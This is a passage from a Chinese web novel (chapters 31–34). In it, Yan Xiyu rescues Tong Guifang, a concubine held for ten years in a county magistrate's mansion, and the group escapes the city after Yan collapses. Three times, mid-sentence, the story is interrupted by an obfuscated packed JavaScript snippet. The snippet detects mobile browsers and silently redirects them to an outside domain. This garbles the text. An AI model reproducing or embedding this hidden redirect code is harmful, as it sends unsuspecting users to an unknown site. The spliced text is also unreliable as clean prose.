“行了,都已经到这个时候了,你只要按照我说的去做,就能把二姐从知县府中救出来,”燕惜妤转身边走向三丫边说,“街上有更夫打更,三更或者四更,我们就去救人。” 佟槿方一听,连忙跟在她身后:“四更天再去。” “为什么?”燕惜妤奇怪地看着他,“你不想早点见到二姐?” “不要选三更,”佟槿方抿着嘴唇说。 三更有什么问题? 燕惜妤忽然就想到了某个可能,笑着瞥了佟槿方一眼,这小子,还是个有信仰的。 “行,四更就四更。” “铛铛”两声敲击声响彻夜空,紧接着就传来了更夫那隐隐约约的声音:“丑时四更,天寒地冻。” 月黑风高夜,三个人牵着一匹马,马儿还拉着板车,一行人走在昏暗的小巷里。 “嗒”“嗒”的马蹄声在寂静的夜里响起。 三人谁都没有说话,佟槿方在前头带路,燕惜妤手里拎着个小布包裹跟在他后面,三丫牵着马走在最后面。 走进了一条小巷子之后,佟槿方是摸着墙壁走的,随后,他停下了脚步:“就是这,二姐就住在这面墙壁后面的耳房里。” 他的声音很低沉,但在寂静的夜晚里,燕惜妤和三丫都听得一清二楚。 “这墙很高,”三丫抬头看了看那面墙壁,又看看四周,疑惑地问,“这附近也没有小门,二姐从哪儿出来?你莫不是走错路了?” 佟槿方在黑暗中看着燕惜妤:“这墙真的很高,里面守卫还很森严,你真的能进去?” 燕惜妤还没出声,三丫一下子就抓住了她的手臂:“你们在说什么?小丫,你要去什么地方?” “嘘嘘,三姐小点声,”燕惜妤连忙压低声音说,“跃过这堵墙对我来说是轻而易举的事,我进去把人带出来,你们在外面等我,我很快就出来。” “不,不行,你不能进去,”三丫紧紧地抓着燕惜妤的手臂,声音都有些控制不住,“你怎么跃进去?飞进去吗?你不能动武的,你不能动武的!” 她一连说了两次燕惜妤不能动武,旁边沉默着的佟槿方忽然走进了两步低声问:“什么不能动武?” “现在是说这些事的时候吗?”燕惜妤忽然就像是生气般压着嗓子说,“再拖下去,天就亮了,我说没事就没事。” 三丫浑身一震。 “三姐,你先松手,”燕惜妤低声说,“我进去把人带出去,这人对我很重要。”身体时不时的断气,对她来说就是一切脱离了自己的掌控,现在有人能治好,冒再大的险去救人都是值得的。 三丫沉默着松开了抓着燕惜妤的手,燕惜妤却一把又抓住了她的手:“三姐,你在这等我出来,你说你是我阿姐,要照顾我的。” “……你当心些,”三丫颤着声说,“我、我只有你一个妹子了,你可千万别出事,我在这等你,你可一定要安全回来。” “好,你俩在这等我,我一定会回来,”燕惜妤语气轻松地说着,后退了两步,头才抬起看向墙头,下一霎她的人已经消失在原地。 高墙的另一边,是有着雕梁画栋的大屋子,庭院里是立有假山的荷池,和两旁长而窄的回廊。 燕惜妤翻翻墙而下,就像一片轻飘飘的叶子落在地面上。 偏偏就在她双脚刚踏在地上时,耳边传来极轻的某样东西从高处坠落的破空声。这声音离她有些距离,黑暗中她看不清是什么,紧接着就是“咔嚓”的一声脆响,在寂静的夜里显得尤为突兀。 燕惜妤缓缓侧头看过去,在阴暗的月色里,她看见了一块从屋檐上摔落在地面裂成好几瓣的瓦片。 人算不如天算! “那边是什么声音?!”质问声骤然响起,紧接着就是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295744|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个人的脚步声正向这边飞奔而来。 燕惜妤瞥了一眼地上的瓦片,身影一闪,人瞬间消失在原地! “喵呜喵呜”就在她原地消失的瞬间,黑夜里猛不丁地响起了野猫的惊叫声。 听声音像是有三五只野猫,正在屋顶上跑跳着,除了猫叫声,还有猫爪子抓着瓦片发出的划拉声。 几只野猫从这个屋顶跳到了那个屋顶,猫的叫声消失的同时,有好几个守卫一手提着灯笼,一手握着刀出现在庭院里。 “野猫是不是跑远了?”有守卫沉声问。 “没听着声了,估计是跑了,”有守卫说,“准是有野猫逮到了耗子,别的野猫就去抢。” “四处看看,”有名守卫提着灯笼走过来,一脚踩上了之前摔裂的瓦片,他低头看了一眼,“那些个野猫把屋檐的瓦片给踩掉了。” “先前府里大夫人养的狸猫爬窗,把纱窗全给抓破了,大夫人都舍不得骂那猫一句,”有守卫说。 “哥几个,都看完没?”另一边的守卫问。 “看完了,没事,就是野猫闹出来的动静。” “那咱再去别处巡看。” 几个守卫边说边走,等说话声消失的时候,灯笼照在回廊的亮光也渐渐远去,很快,庭院又恢复了阴暗和幽静。 过了好一会儿,燕惜妤才从对面回廊柱子后面走了出来。 感谢守卫一窝蜂地盯着发出声音的位置而去,没想到人却藏在他们经过的柱子后面。 也感谢大户人家喜欢栽种各种树木,深夜里到处都是像鬼手般让人眼花缭乱的横枝乱叶,使人视线容易受阻。 还感谢各位猫猫们,半夜逮耗子辛苦了。 只不过……听声音确实是猫叫,但燕惜妤却没能察觉出猫在屋顶上闹腾的动静。 仿佛只是凭空出现了猫的叫声,而猫却根本不存在似的。 ……大半夜的,别想这些。 燕惜妤用眼尾余光瞥了眼屋檐,这才悄无声息地走到佟槿方提的耳房门前。 不亏是知县的府邸,连耳房都有两间。 靠里的那间应该是杂物房,因为外面挂了一把铜锁。 靠墙的那间耳房门外倒是没锁,只不过之前又是闹野猫又是守卫提着灯笼过来巡看了一番,里面竟然一点动静都没有。 这人睡的这么死?还是人已经换了住处? 换住处应该不会,毕竟佟槿方在外面守了十年。 燕惜妤凑到耳房门缝眯着眼睛往里瞧了瞧,里面黑灯瞎火的,啥也看不见。 她回头看看,确定四周没人,这才轻声说:“阿姐,阿娘种在家中前院的柿子树,十年前已经被砍了。” 声音虽然轻,但深夜寂静,耳房又小,里面的人在刚才如果被吵醒了,就一定能听见她的声音。 可燕惜妤等了好一会儿,耳房里一点动静都没有。 就在燕惜妤准备再次开口时,耳房紧闭着的门忽然悄无声息地出现了一条缝! 如果不是燕惜妤胆大,如果不是知道里面有人,但凡房门在无声出现门缝时再配上木门的“吱呀”声,都能把人吓出个好歹来! 燕惜妤和门缝里的人影无声地对视着。 人出来了,她现在要做的,是确定里面的人是佟槿方要救的人。 32. 第32章 黑暗中,只有虫鸣声时不时响起。 燕惜妤看着门缝后面的人影,回想了一下佟槿方说的那些话,低声说:“微风轻颭。” 原以为对方不一定会有回应,没想到竟立即开了口:“初春杨柳!” 是女子的声音,能听了声音有些发颤。 找对人了! 燕惜妤心中一喜,继续说:“应指愊愊。” “三候皆然!”对方又立即答了出来。 “你叫什么名字?”燕惜妤看着门缝里的人影问。 “佟瑰方,”对方反问了句,“谁叫你来的?” “是个儿时闹着不愿背医书的人,他说他很想念阿娘和阿姐做的云糖糕,”燕惜妤将手里拎着的小布包裹递了过去,“佟槿方让我来的,我来带你出去,他在刘府外面等你。” 佟瑰方并没有接那小布包裹,她的呼吸变得重了起来,像是在哭泣:“你去对我阿弟说,叫他在家好好看书,日后才能管理家中医馆……” 还管医馆,你弟都已经落魄到要从死人身上扒拉银子了。 燕惜妤打断她:“我见到佟槿方时,他是刘府后门外的一名乞丐。” 佟瑰方的低泣忽地一顿:“……乞丐?” “你还记得他几岁吗?”燕惜妤继续问。 “十六……”佟瑰方的声音有些急了,“我阿弟为何会乞丐?” “十六啊,”燕惜妤低声叹息,“佟槿方已经当了十年的乞丐了。” 在刘府外守了十年,那就是从六、七岁时就当了乞丐。 房门猛地被拉开,佟瑰方从屋里一步踏了出来。 阴暗的月光下,燕惜妤看见了对方脸上的泪水。 “把这衣裳换上,”她又把手中的小布包裹往前递了递,“你把能带的都带上,我带你出去见佟槿方然后再出城,他要是再在外面守十年……” 她的话没说完,手里的小布包已被扯走,佟瑰方转身回屋关门。 很快,佟瑰方身上穿着又脏又皱的衣裳走了出来,她背上有个包裹,双手还抱着一个木箱子。 “我们如何出去?”佟瑰方的声音中有着害怕,“刘府守卫森严……” “他们守他们的,我们从他们屋顶飞出去,”燕惜妤轻笑着打断佟瑰方,然后单手搂住对方的腰身,“阿姐把眼闭上吧。” 佟瑰方下意识闭眼,倏地只觉得耳边有奇怪的风声,待想睁开眼睛看的时候,有人猛地抓紧了她的手臂。 佟瑰方吓得立即睁眼,下一霎她就怔住了。 一身女子装扮的阿弟正站在她的面前,虽然已十年没见,虽然当初她离家时阿弟只是六岁小童,但她知道,这就是她的阿弟,这就是阿娘让她要护着的阿弟! “阿姐……”佟槿方早已泪流满面,就在他要哭出声时,身旁忽然伸出一只手轻轻拍了一下他的额头。 “赶紧走!”燕惜妤单手撑着板车的车沿低声说,“出了城才能安全。” “对、对对!”佟槿方从激动中惊醒过来,他连忙扶佟瑰方去坐板车前头赶车的横板上,“阿姐,你坐这,我们赶紧离开!” 他边说边绕过去坐在另一边,结果却看见刚才还能搂着人飞跃高墙的燕惜妤,此时是被三姐扶着爬上板车的。 “走!”刚才还精神饱满的燕惜妤,这时却忽然变得有气无力,“谁会赶马车?” 佟槿方连忙回头想去拉缰绳,却没想到佟瑰方先他一步轻轻一扯缰绳,马儿立即就向前走着。 “嗒嗒”的马蹄声在寂静的夜里显得格外的刺耳。 “等过了刘府,就让马跑快点,”燕惜妤拧着眉忍着身体和精神的不适,“我们必须在城门打开时立即出城。” 没人开口说话,几人都在盯着前头的路。 刘府很大,一整条小巷子都是他家的高墙,好不容易出了小巷,不用燕惜妤提醒,佟瑰方已经双手大力一抖缰绳,马儿立即飞奔了起来,而马蹄声也更加刺耳。 “深夜跑马,容易惊动街道两边人家,”燕惜妤单手按着额头,闭着眼睛说,“前面就是衙门,如果能多几匹马,就能让附近的人家以为是衙门的官差回衙门,牵扯到官差在深夜办案,他们也不敢随意打听,可惜了……” 燕惜妤正在叹气这一步是整件事里唯一的纰漏,但没办法,他们只有一匹马…… “嗒嗒”“嗒嗒”“嗒嗒” 寂静的夜里骤然响起了数匹马奔驰的马蹄声,而且这马蹄声很杂乱,让人听不出匹数,只知道是有人骑着马疾驰,甚至还有马鞭甩动和男人喊“驾”的声音。 但是,整条街道上明明只有他们的一匹马,可偏偏有杂乱的马蹄声就响在耳边。 耳边? 意识已经有些模糊的燕惜妤倏地睁眼,才知道发出这些马蹄声的,竟然是三丫! 三丫此时双手扶着燕惜妤的肩膀,眼睛看着前面,嘴巴正在快速地开阖着,马蹄声,甩鞭子声,男子喊驾声,都是从她嘴里发出的! 燕惜妤震惊地看着她,也不知道为什么忽然就想到了三丫被卖到教坊司里当女乐的事情。 说不定她家人就是知道三丫会这个,所以才把她卖到教坊司的。 佟槿方在这时忽然开口:“前头就是衙门。” 燕惜妤立即强打起精神,她伸手握着三丫的手:“三姐,该让马停下来了。” 然后,三丫嘴里发出的奔跑马蹄声忽然就变慢了,并且还伴随着男子喊“吁”的声音,最后,马蹄声全部消失在了衙门的门前。 “好,”燕惜妤一勾嘴角,“现在只剩下我们这一匹马,就是从衙门里出来要去报信的了。” 佟瑰方听了,又是一抖缰绳,马儿比之前跑的更快了。 “小丫,你怎样了?”三丫不安地说,“你方才动武,难道又要?”她不敢说出来,先前小丫就是动武之后忽然断气,但好在后头她又醒了过来。 前面坐着的佟槿方看她们要说话,连忙侧过身来听。 “三姐,我去救人时,那些野猫的叫声也是你发出来的吧?”燕惜妤总算是明白之前她在刘府内,为什么只听见了猫叫声却察觉不出猫的存在了,原来那些猫的叫声是在高墙外的三丫发出来的。 “嗯,我们在外头隐约听见有男人的喊声,”三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14305460|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫低声说,“我心里一着急,就……” “三姐做得很好,”燕惜妤赞叹道,“此次救人,有三姐在,真可谓是有如神助,我们会安全出城的。” “……可你又动武了,”三丫的声音仍然充满不安。 “三姐,我头晕,”燕惜妤说着,整个人往下坠。 吓得三丫和佟槿方同时伸出手要去搀她。 “我躺会……”燕惜妤闭着眼睛,将脑袋枕在三丫的腿上。 佟槿方有阴暗的夜色下看见这一幕,忽然想起之前在小土庙时,燕惜妤拉着三姐在板车上也曾经这样躺下过,当时他还以为她只是随意做出来的动作。 ……可现在看来,她那时候难道就已经想到会出现此时的状况了? 佟槿方的神情渐渐变得凝重起来。 “佟槿方,”躺在板车上的燕惜妤继续说,“我把人救出来了,只有出了城才算安全,所以接下来无论发生任何事情,你都不能让马停下来。” “我知道,”佟槿方小声说,“那你……”他想问燕惜妤怎么样了。 燕惜妤打断他说:“一切等出了城再说。” “是不是我们出了城,你就会好了?”三丫忽然轻声问。 “三姐,我这病吧,”燕惜妤长长地叹了一口气,“还真由不得我自己来决定。” “那你为何还要动武?”三丫说话的声音倏地提高了,“你明知你一动武就会……” 就会怎样,后来的话她没说出来,但她却转头剜了佟槿方一眼。 佟槿方被她这么一眼剜来,忽然就领悟到了她没说出口的话是什么。 ……难道说燕惜妤的离魂症和她动武有关? 是不是她一动武,就会出现断气的离魂症? 马跑的快,板车就一直不停地在晃动,把燕惜妤整个人的意识都要晃散了。 “三姐,别生气,”她闭着眼睛,说话的声音越来越轻,“这次我……要是醒不来,我身上的银子……都给你,户籍和路引也给你……把我埋了吧……” 三丫瞬间浑身一震。 之前救她的时候,明明还说不要活埋的…… “你……”三丫刚要说话,却只觉得枕在腿上的脑袋忽然要往下滑,她慌忙伸出双手去揽,可这人已经…… 她揽人的动作猛地一僵,忽然就变得柔声细语:“小丫睡吧,姐姐守着你,睡吧……”说着,甚至还轻轻地哼起了让孩童入睡的小曲儿。 她这反常的举止让佟槿方心头越来越惊,人被她抱着无法看清楚,所有他只能伸出手来说:“她怎样了?我……” “啪”的一把响,三丫收回打开佟槿方手的手,声音充满了怨恨:“不要碰我妹!” 佟槿方沉默了一会儿,只好转过身去。他虽然想给燕惜妤诊脉,可她说了不能让马停下来,他们如果此时停下来,她做的这一切,就全都白费了。 佟瑰方刚被救出来,不清楚其他几人在说些什么,而且她此时只有一个念头,那就是赶紧去到城门口。 只有出了城,从知县府邸逃出来的她,还有救她出来的人,才能保住性命! 33. 第33章 夜幕已渐散,天边隐约透出了亮光。 五更已过,更夫早已经回去歇息了。 城门口的守值官差个个都在打着哈欠。 一队手执大刀的官差过来准备打开城门,天还没亮,出城的百姓很少,只有街道的那头慢悠悠地过来了一匹拉着木板车的马。 厚重的城门被十数个官差合力缓缓推开,城门外是平坦的官道,还在隐在晨雾中的大山。 佟瑰方双手牵着缰绳,眼神贪婪地望着城门外,她已经太久太久没看见过那堵高墙外的景象了。 不过瞬间,佟瑰方就红了眼眶。但她却强压下了自己的情绪,颇为镇定地坐着。 佟槿方就坐在她的旁边,他此刻很慌乱,既怕官差会阻拦他们出城,又怕燕惜妤真的因为救了他阿姐才导致断气。 只有将燕惜妤揽在怀里的三丫,像是不知疲倦似的,仍然在轻哼着小曲儿,尽管她的声音已然沙哑,但她却没有停下。 打开了城门的官差,开始在城门外盘查入城的百姓。 他们通常不怎么会留意出城的人,一般只是看几眼带着出城的物品。 不过如果有马车和驴车出城,就会仔细盘查,这是为了防止拐子把城里的小孩儿偷带出城。 有名官差向着这边而来,他虎着脸,右手搭在腰间佩刀的刀柄上。 官差双眼扫过手牵缰绳的女子,又再看看坐在她旁边低着头的小姑娘。 然后越过这俩人走到板车旁,板车里还有俩人,另外就是拿蓑衣斗笠盖着的两筐干粮,和几个包裹,一眼就知道藏不了小孩。 只不过坐在板车里的这俩女子却有些怪异。 那个弯腰低头哼着小曲儿的女子脸上有着黑色胎记,被她揽在怀中的另一名女子却是躺在板车上一动不动。 该不会是拐子迷昏了别人家的姑娘偷带出城吧? “这姑娘怎么了?”官差冷声道,“把她叫醒回话。” 佟槿方和三丫的身体同时一震。 佟槿方倒是希望燕惜妤真能被叫醒,他怕他们出不了城,他需要燕惜妤解救他们出城! 三丫总算是停了哼曲,双手却是牢牢紧揽着怀里的燕惜妤:“我阿妹睡着了,不要吵醒她。” 她的声音沙哑,低着头,根本不去看站在板车旁的官差,只揽紧怀里的人,像是藏着不想给别人看。 她这躲藏又怪异的反应,一下子就激怒了官差。 “这姑娘莫不是你拐来的吧?”官差一个跨步上前,伸手扳着被三丫紧揽在怀中的燕惜妤肩膀往外一拽,拽人的力道没控制好,直接给人的脑壳撞在车沿板上,发出“咚”的一声响。 燕惜妤闭着眼睛的脸瞬间暴露在官差的眼前,官差惊的下意识猛一缩手:“啊这?” 这是个死人! “啊!”一声尖叫从三丫嘴里发出来。 她像是疯了似的挥舞了一下双臂,府下了身把被拽开的燕惜妤又快速揽回自己怀中,同时嘴里还念念有词:“我阿妹只是睡着了,她一会就会醒来!你们不要活埋她!她会醒来的!不能活埋她!!” 她这疯癫的样子,一时叫官差没了动作。 官差看着她像是揽宝贝似的把死者的尸身抱在怀里,刚才拽人的手无意识地颤了颤。 “她这……”官差想到她们一行有四人,于是转头去看坐在板车前头的人,却见那两名女子都一脸煞白,满眼惊慌地看着自己。 耳边又传来了似是呻吟的轻哼小曲的声音,官差下意识回头,就见那将尸身揽在怀中的女子此时正轻轻摸着那尸身的发髻,边摸边给尸身哼着小曲儿。 官差顿时觉得自己后颈的寒毛“嗖嗖嗖”地全竖了起来。 有名官差发现了这边的异常,大跨步走了过来。 他见自己同僚正瞪着眼睛盯着板车上的俩名女子,以为对方是顾及男女之别不敢上前盘查,于是一撸袖子长臂一伸,猛地拽着燕惜妤的肩膀往外一掰:“藏什么?莫不是你是那通缉令上的逃犯?” “哎别!!”之前那名官差来不及阻挡,只得闭了闭眼睛。 “我的娘欸这姑娘死了?!!”那拽人的官差猛地一缩手,嘴里下意识喊道,“你们带着个死人出城干什么?” 他们身为官差,见惯了各种各样的尸身,人是死还是活,他们一眼就能看出来。 “啊!!”回应那官差的是三丫的又一声尖叫。 她赤红着眼去将燕惜妤紧紧揽在怀中,眼睛死死盯着对面的官差,整个人已经陷入了癫狂之中:“她没死!她只是睡着了!她不是逃犯!我才是!你们捉我!把我捉走!你们不要碰她!她很快就会醒的!!” 两名官差下意识齐齐后退了两步,大概是怕这疯女突然扑过来抓花他们的脸。 “行行!她会醒来,你也小声些别吵到她睡觉,”先前盘查的那名官差说。 三丫忽然就又安静了下来,小心地将燕惜妤揽在怀中,又哼起了那听着像是半夜才会响起的小曲儿。 另一名官差脚步轻轻地走到佟瑰方两姐弟的身边,压着嗓子盘问:“你们这是出城要做什么?”带着具尸身出城,连张裹尸席都没有。 佟槿方还一脸煞白的愣愣地看着被三丫揽在怀里的燕惜妤,像是根本没听见官差的问话。 倒是佟瑰方,不亏是个性子稳妥的,她紧攥着缰绳说:“我们带着阿妹去麀州,寻那据说是住在上渜江畔的鲁神医,听说鲁神医有能让人起死回生的本领,我们想去求她给阿妹看病。” 那鲁神医确实是大承的有名神医,也确实是住在上渜江附近,可你们找他给死人看病,这不是去砸他的招牌嘛。 两名官差互相看了一眼,其中一名官差又瞥了眼板车上抱着尸身的女子,忙侧过头挥手说:“走吧,早些过去。”免得这具尸身在半道上就发臭了。 “民女谢过俩位差爷,”佟瑰方一听,连忙一抖缰绳,马儿“嗒嗒”地缓缓向着城门外走去。 两名官差目视着马拉着板车出了城门,这才互相看了一眼。 “你咋也不提一句?”后头来的官差骂了句,“这一大清早的,多晦气!” “那我这不是没来得及嘛,”被骂的官差嘻皮笑脸地说,“怪你自己不会看我眼色。” 俩人互相打趣了两句,城内忽然传来急速的马蹄声。 “出事了?”其他守城的官差纷纷围了过来。 只见一名将领带着几个衙差正骑着马赶来,到了城门口前,领将没下马,跟在其身后有两名像是家丁的倒是下马牵着缰绳走了过来。 守城官差连忙过来弓身抱拳:“见过张校尉。” 那张校尉“唔”了一声,然后问:“你等可有见过一女子独自出城,亦或是一女子带着一小郎出城?” 守城官差纷纷摇头:“回张校尉,并没见到。” 张校尉看着城门外的官道:“方才都有何人出城?” 守城官差轮流回答,有用驴车拉夜香出城的,也有赶路的商队等等,这些人里既无女子也无小郎。 其中一名官差说:“有要去麀州寻医的四姐妹。” 这么早,出城的百姓不多,张校尉确定了出城的人里没有知县大人要逮捕的人,就带着手下赶去其它城门,留下了那两名下了马的家丁。 这俩家丁和守城官差也相熟,毕竟都在城里当差,只不过他俩是在知县大人的府中当差。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315482|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥俩个,这是出啥子事了?”守城官差等校尉一走,连忙凑了过来,“怎的是你俩跟着校尉过来?” “嗐,别提了,”其中有个家丁说,“昨儿个夜里,咱大人府里逃了一个小妾。” “啊?”守城官差觉得这人是在说笑,“知县大人统共就俩小妾,还都是知县夫人陪嫁过来的丫鬟,这都快二、三十年了,公子姑娘都生好几个了,这时候才逃啊?” “你们不晓得,”家丁神神秘秘地压低嗓门说,“是咱老太爷的小妾逃走了。” 刘府老太爷,知县大人的祖爷。 “嘶!”守城兵倒吸了一口凉气,“没听说刘老太爷最近有抬人进去啊。” 其他守城官兵连连摇头:“真是造孽!” “不是最近的,是十年前抬进门的,”家丁说。 “十年前,”守城官差摸着下巴想了想,“十年前刘老太爷快九十了吧?” “是,九十整,”家丁点头。 “诶,那些人拿女儿换来富贵,就不怕自家女儿被陪葬后回来索命?”有官差不屑地说。 “哎,别说这个,”其他人纷纷瞪他。 刘老太爷抬小妾进门是打算给他死后陪葬这事,在城里当差的都知道。 “大人留下你俩,是让你俩守在城门捉人啊?” “捉什么人!那小妾从进门一直就被关在主院的耳房里,只夜里才能出来看眼月亮,白日房门又被锁上,府里没几人见过她,她从我俩面前走过我都不认识。” “造孽啊!” “那小妾逃了也好,”有官差说,“只怕她的娘家会被知县降罪。” “这你就不知道了吧,”家丁说,“那逃了的小妾,是佟家医馆佟老爷的长女,你想想佟老爷可是有人给撑腰的。” “原来是佟老爷,他长女嫁给……”有官差忽然白了那家丁一眼,“兄弟你又说笑了,佟老爷的长女明明是嫁给了仓州的白将军,你却说逃的是佟老爷的长女,说这半天感情是在糊弄我们。” “你不知道?”家丁用疑惑的眼神看着他,“你新来的是吧,现在的佟家夫人原是佟老爷的外室,他前头还有一房妻子,生了一女一子,送给老太爷当小妾的就是原配夫人生的那个长女。” “他原配能愿意?俩人难道和离了?”没听说佟老爷有两房妻室。 “这事吧,十年前佟老爷带着原配出门,回来却说夫人和野男人私奔了,后头就把外室接进门。” “啊?私奔了?衙门捉到人没有?” “佟老爷压根就没报官,”家丁“嗤” 了一声。 其他人顿时懂了。 娘子和人私奔,他却没报官,没人去调查,就不知道是真是假,总之人没回来,只能任他说。 “他是怕报了官,查出他自己杀妻吧?” “也有可能不是,所以他那原配的娘家也没报官,万一查出是真的和人私奔,日后家里的姑娘还怎么嫁人。” “谁知道呢,反正刚把外室接进门,没两天就把长女送给刘老太爷当小妾。” “真不是人,虎毒还不食子呢。” “女儿嘛,也有人家卖去当奴婢的。” 家丁又是嗤笑一声:“他佟老爷还真有可能是个最恶毒的。” “他还做了什么?” “刚把和原配生的女儿送了人,没两日和原配生的儿子就疯了,他那儿子当时才六、七岁。” “怎的就疯了?眼下人在哪?” “谁知道!佟家说是关在家里,可这十年里,他家下人都说没有这么个人,许是早就死了吧。” “……那这佟家长女逃了也好。” “是啊。” 34. 第34章 城外的官道上,一匹马拉着板车跑的飞快。 官道环绕着四城门,从这个城门出来,要经过主城门才能离开遥县管辖的范围。 一大早的,官道上只有他们四人在逃跑。 佟槿方既激动又不安,激动的是,他终于带着阿姐逃出来了。不安的是,燕惜妤直到现在都还没醒,他想给她诊脉,可是…… 他转头看看后面,徒然和一双森冷的眼睛对上。 “……三姐?”佟槿方下意识开口。 一直紧紧揽着人的三丫忽然低声说:“停下!” 佟槿方不想停,但佟瑰方一扯缰绳,奔驰着的马匹慢慢地停了下来。 佟瑰方微喘着气,自出了城门后,她整个人都是紧绷着的,她怕后头会有官差追上来,她想立即逃到天边去,但马匹拉着板车一路颠簸着,她觉得身子都快被晃散架了。 之前一直咬着牙坚持着,现在总算是有借口可以停下来歇歇了。 板车停下之后,佟槿方整个人开始慌乱起来:“三姐?”为什么现在停下?追兵就要来了啊! “下去,”三丫冷冷地扫了他一眼。 佟槿方浑身一颤。 “我……”他不能下去,人不可能有马跑的快,他和阿姐如果被赶下去,阿姐就会被捉回去的! 三丫没再看他,只伸手指了指路旁的野草丛说:“你去那里把我之前藏的背篓找出来。” 原来是让他去找东西! 佟槿方紧绷着的表情一下子就松懈下来:“哦好好。” 他跳下板车,脚刚踩在地上时还软了一下。 佟瑰方下车扶了他一把,然后牵着马走到路旁让马嚼点儿草。 草丛里藏着个背篓,背篓里有个羊皮水囊,挂着个小铁锅,拿在手里有点重,不知道里面还放着什么。 佟槿方抱着背篓放在板车上,然后看着三丫。 “上来,去乌州,”三丫冷冷地说。 “哎好,”佟槿方连忙帮着佟瑰方把正在吃草的马牵回路中,然后坐上板车继续赶路。 佟瑰方这次没催马儿疾驰,只任马儿自个儿跑着,跑太快马也是会累。只要不停下,就能躲开李府的追捕。 燕惜妤一直都没醒,三丫始终将人揽在自己怀中。板车太晃了,不护着点容易撞到脑袋。 三人沉默着赶路,日头渐渐正顶。 一直没说过话的佟瑰方忽然开口:“马儿渴了,我们要在路边歇会再走。” 她赶着马没回头,佟槿方就去看三丫,三丫低头没说话。 “阿姐,选处有水的地,”佟槿方抿抿嘴说,“我们也要喝水。” 佟瑰方选了处临近小溪的草地停了下来。 一停下,佟槿方立即解了马背上套着的拉绳,然后牵着马去小溪边喝水。 佟瑰方踌躇了一下,沉默着想去板车里找吃的。 一直低着头的三丫忽然抬头盯着她。 佟瑰方和她互相对视着,论年龄,佟瑰方比三丫还大几岁,但三丫看着却比佟瑰方老了些。 “那高墙后面是谁?你是从谁家里逃出来的?”三丫已经从害怕失去的惊恐情绪中缓和了下来,她只知道要救人,但她不知道救的是谁,“你又是谁?” “……那是知县老爷的府邸,”佟瑰方没想到其他俩人竟然还瞒着眼前的姑娘,“我是知县老爷他祖父的妾侍。” 三丫张了张嘴,看着佟瑰方像是在看另外一个人,不过眼泪中已经没有了之前的怨恨:“你在那富贵人家过得不好吗?” “好,不缺吃不缺穿,”佟瑰方叹了口气,“白日被关在窄小的屋子里,夜晚才被放出来在屋前坐会。” 三丫没说话。 “如果不是你阿妹去救我,我险些就忘了我过了十年这样的日子了,”佟瑰方看着三丫说,“我不知道救我出来会将她害成这样,要是知道……”她不会逃的。 “她自己知道,”三丫露出一个比哭还难看的笑容,“她自己知道,和你无关,我知道这也不能怨你们。” 三丫说着,把羊皮水囊递了过去,还翻出了之前新买的两个陶钵也递了过去,然后又拿出了好几个馍馍:“这是小丫给你们买的陶钵,能帮我灌些水吗?” “好,”佟瑰方把东西抱在怀里,“谢谢。” 三丫没再说话,抱着人下了板车,选了处树荫坐下歇息。 佟瑰方抱着东西去到佟槿方身边。 佟槿方一直在看着这边,视线一直跟随着他阿姐,直到这时,他才有了真实的感觉。 “阿姐……”佟槿方抽了抽鼻子,“我……好久没见你了。” 佟瑰方把手里的东西放在草地上,看着自家阿弟,眼眶也渐渐变红:“我离家时,你才这么点高。” 她伸手比划了一下,泪水就是在这个时候滴下来的。 俩姐弟正在逃亡,心中即使有再多的情绪都无法表达出来,而且这一路上,他们的心情也已经缓和的差不多了。 俩人坐在小溪边,边吃馍馍边说话。 其实有些事情不说也知道,能将自家女儿送人的亲爹和后娘,又怎么会容得下原配生的儿子呢。 “真不是人!”佟瑰方恨恨地骂了一句。 “他们给我下毒,我就装疯,”佟槿方当时也才六、七岁,还是个小童,如果不是他祖父自小教他学医,估计他还真的会成为一个疯子,“我还把祖父留下的秘笈带出来了。” 佟瑰方这下倒是愣住了。 佟槿方黠慧地一笑:“阿姐,我聪明吧?” 佟家祖上医术精湛,也教出了知名当世的徒弟,且佟家嫡系子孙无论男女自小都研习医术。 按理说该教的都教了,不至于还能藏有什么秘笈,但偏偏佟家还真有秘笈。 这秘笈里记载着的,全是各种未能治愈的疑难病症。 凡是能治愈的病症,佟家手上都有方子,而未能治愈的,人都死了,说明方子没用。 佟槿方手上的这本佟家秘笈,是佟家老太爷毕生的心血,他把所有疑难病症的各种方子都做了药材的添减,日后如果遇到同样的问题,或许能救病人一命。 佟家其他人只知道那些能救人的方子能扬名天下,根本就不在乎别的,于是佟老太爷只能培养年纪尚幼的佟槿方。 可惜佟老太爷的几个 